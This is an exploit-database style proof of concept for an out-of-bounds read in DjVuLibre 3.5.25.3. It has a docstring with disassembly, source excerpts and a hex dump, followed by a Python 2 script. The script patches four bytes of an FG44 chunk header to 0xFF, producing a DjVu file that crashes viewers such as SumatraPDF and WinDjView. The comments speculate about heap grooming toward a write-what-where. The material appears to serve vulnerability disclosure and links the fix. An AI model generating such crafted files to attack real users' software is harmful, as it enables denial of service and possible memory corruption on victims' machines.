DjVuLibre 3.5.25.3 Out Of Bounds Access Violation

`from shutil import copyfile  
import sys  
  
"""  
Exploit Title: DjVuLibre <= 3.5.25 Out of Bounds Access Violation  
Date: 07/14/24  
Exploit Author: drone (@dronesec)  
Vendor: http://djvu.sourceforge.net/  
Software link: http://downloads.sourceforge.net/djvu/djvulibre-3.5.25.3.tar.gz  
Version: <= 3.5.25.3  
Tested On: WinXP/Win7  
Patch: https://sourceforge.net/p/djvu/djvulibre-git/ci/7993b445f071a15248bd4be788a10643213cb9d2/  
  
The crash occurs due to a out of bounds read  
  
.text:004D3BC0 mov ecx, edx  
.text:004D3BC2 and ecx, 0Fh  
=> .text:004D3BC5 mov eax, [eax+ecx*4]  
.text:004D3BC8 test eax, eax  
.text:004D3BCA jnz short loc_  
  
We overwrite 4 bytes in an FG44 chunk header with \xff\xff\xff\xff:  
  
46 47  
34 34 00 00 04 6E 00 64 01 02 FF FF FF FF 80 FF <=  
F2 D9 81 5E 5C 51 12 AD 6B 27 14 29 F6 53 2B DD  
79 B0 01 E3 E2 71 33 58 CA 23 AE 25 35 E8 FF FF  
FF FF F5 BA 7A FA 45 39 C7 CD E0 76 93 FF FF FF  
FF FF F4 F1 85 98 84 DF 58 71 FE 2A 5F FF B7 16  
31 67 4E 93 F0 2D 20 D5 58 22 39 02 26 7E A6 03  
  
The crash occurs during image parsing:  
  
// Allocate reconstruction buffer  
short *data16;  
GPBuffer<short> gdata16(data16,bw*bh);  
// Copy coefficients  
int i;  
short *p = data16;  
const IW44Image::Block *block = blocks;  
for (i=0; i<bh; i+=32)  
{  
for (int j=0; j<bw; j+=32)  
{  
short liftblock[1024];  
// transfer into IW44Image::Block (apply zigzag and scaling)  
block->write_liftblock(liftblock);  
  
[...]  
  
void   
IW44Image::Block::write_liftblock(short *coeff, int bmin, int bmax) const  
{  
int n = bmin<<4;  
memset(coeff, 0, 1024*sizeof(short));  
for (int n1=bmin; n1<bmax; n1++)  
{  
const short *d = data(n1);  
  
[....]  
  
inline const short*  
IW44Image::Block::data(int n) const  
{  
if (! pdata[n>>4])  
return 0;  
return pdata[n>>4][n&15];  
}  
  
Which lines up quite nicely with our inlined disassembly of the function:  
  
.text:004D3BB0 loc_4D3BB0:  
.text:004D3BB0 mov ecx, [esp+0Ch+arg_0]  
.text:004D3BB4 mov eax, edx  
.text:004D3BB6 sar eax, 4 ; [n>>4]  
.text:004D3BB9 mov eax, [ecx+eax*4] ; our pdata[n] data after the bitwise shift, lets call it n2  
.text:004D3BBC test eax, eax ; if(n2 == 0)  
.text:004D3BBE jz short loc_4 ; return 0  
.text:004D3BC0 mov ecx, edx  
.text:004D3BC2 and ecx, 0Fh ; apply n & 15, or pdata[n2][n&15], lets call it n3  
=> .text:004D3BC5 mov eax, [eax+ecx*4] ; dereference pdata[n2][n3] into d  
.text:004D3BC8 test eax, eax ; test if d == 0  
.text:004D3BCA jnz short loc_  
  
n2 refs to a location on the heap; may be exploitable if we stack Fg44 chunks with valid headers and malformed content, so the chunk  
is allocated, then free'd, and hopefully our pointer dips into one of those free'd chunks. The returned short pointer is then used as the source in a  
memcpy with a controllable destination; write-what-where. Who knows.   
  
Tested with SumatraPDF 2.5.2 and WinDjView 2.0.2  
"""  
  
if len(sys.argv) < 2:  
print '[%s] <djvu file>' % sys.argv[0]  
sys.exit(1)  
  
bfile = sys.argv[1]  
  
# read in the data for parsing  
base_data = None  
with open(bfile, "rb") as f:  
base_data = f.read()  
  
# find a valid chunk  
chunk_idx = base_data.find("\x46\x47\x34\x34")  
if chunk_idx == -1:  
print '[-] No valid FG44 chunks found'  
sys.exit(1)  
  
copyfile(bfile, "./%s-dos.djvu" % bfile)  
  
print '[!] Found FG44 chunk at offset %d' % chunk_idx  
  
# overwrite  
with open("./%s-dos.djvu" % bfile, "r+b") as base:  
# skip over 4 byte indicator (FG44)  
# 2 byte primary header  
# 2 byte secondary header  
# 4 byte tertiary header  
base.seek(chunk_idx+12)  
base.write("\xff\xff\xff\xff")  
  
print '[!] %s-dos.djvu generated' % bfile  
  
  
`